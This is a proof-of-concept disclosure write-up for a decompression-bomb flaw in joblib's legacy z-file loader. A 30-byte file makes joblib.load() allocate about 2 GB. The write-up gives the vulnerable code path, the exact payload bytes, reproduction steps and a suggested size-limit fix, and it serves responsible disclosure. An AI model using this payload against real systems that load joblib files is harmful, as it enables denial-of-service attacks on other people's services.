joblib β€” Z-File Header Length Decompression Bomb (PoC)

Repo: MBM7/joblib-zfile-decompression-bomb-poc
Status: Responsible disclosure β€” submitted to Huntr
Severity: High / CWE-789
Package: joblib (PyPI) β€” Finding #2, distinct from NumpyArrayWrapper Shape Bomb


Summary

A 30-byte crafted file causes joblib.load() to allocate 2 GB before failing β€” the highest amplification ratio of any joblib finding.

File size Claimed length in header Peak allocation Amplification
30 bytes 500,000,000 500 MB 1 : 16,666,666
30 bytes 2,000,000,000 2,000 MB 1 : 66,666,666

Root Cause

joblib/numpy_pickle_compat.py, read_zfile():

length = file_handle.read(header_length)
length = length[len(_ZFILE_PREFIX):]
length = int(length, 16)                          # ← from file header, NO check

data = zlib.decompress(file_handle.read(), 15, length)  # ← bufsize = 2 GB
assert len(data) == length                        # fails AFTER the allocation

length is read from the ZF prefix + hex string header with no upper bound check. zlib.decompress(data, wbits, bufsize) pre-allocates bufsize bytes before decompression. With length = 2_000_000_000, Python allocates 2 GB before discovering the actual data is 11 bytes.


Attack

The z-file format is:

b'ZF' + hex(length).ljust(19) + zlib_compressed_data

joblib.load() detects the ZF magic and routes the file through numpy_pickle_compat.read_zfile(), which triggers the allocation.

payload = (
    b'ZF' +
    b'0x77359400          ' +   # hex(2_000_000_000) padded to 19 chars
    zlib.compress(b'x', 1)      # 11 bytes of valid zlib data
)
# Total: 30 bytes

Reproduce

pip install joblib
python poc_joblib_zfile_bomb.py

Expected:

File size     : 30 bytes
Amplification : 1:66,666,666
Peak memory   : 2000 MB  ← alloc before decompression

Distinction from Finding #1 (NumpyArrayWrapper Shape Bomb)

Finding #1 Finding #2
File size 232 bytes 30 bytes
Amplification 1:8,620,689 1:66,666,666
Code path numpy_pickle.py numpy_pickle_compat.py
Mechanism np.empty(count) from pickle shape zlib.decompress(..., bufsize)
Format Current joblib pickle Legacy z-file format

Suggested Fix

MAX_ZFILE_BYTES = 512 * 1024 * 1024  # configurable
if length > MAX_ZFILE_BYTES:
    raise ValueError(
        f"Z-file header claims {length} decompressed bytes β€” "
        "exceeds safety limit. Possible decompression bomb."
    )

Environment

Package Version
joblib 1.5.3
Python 3.12
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support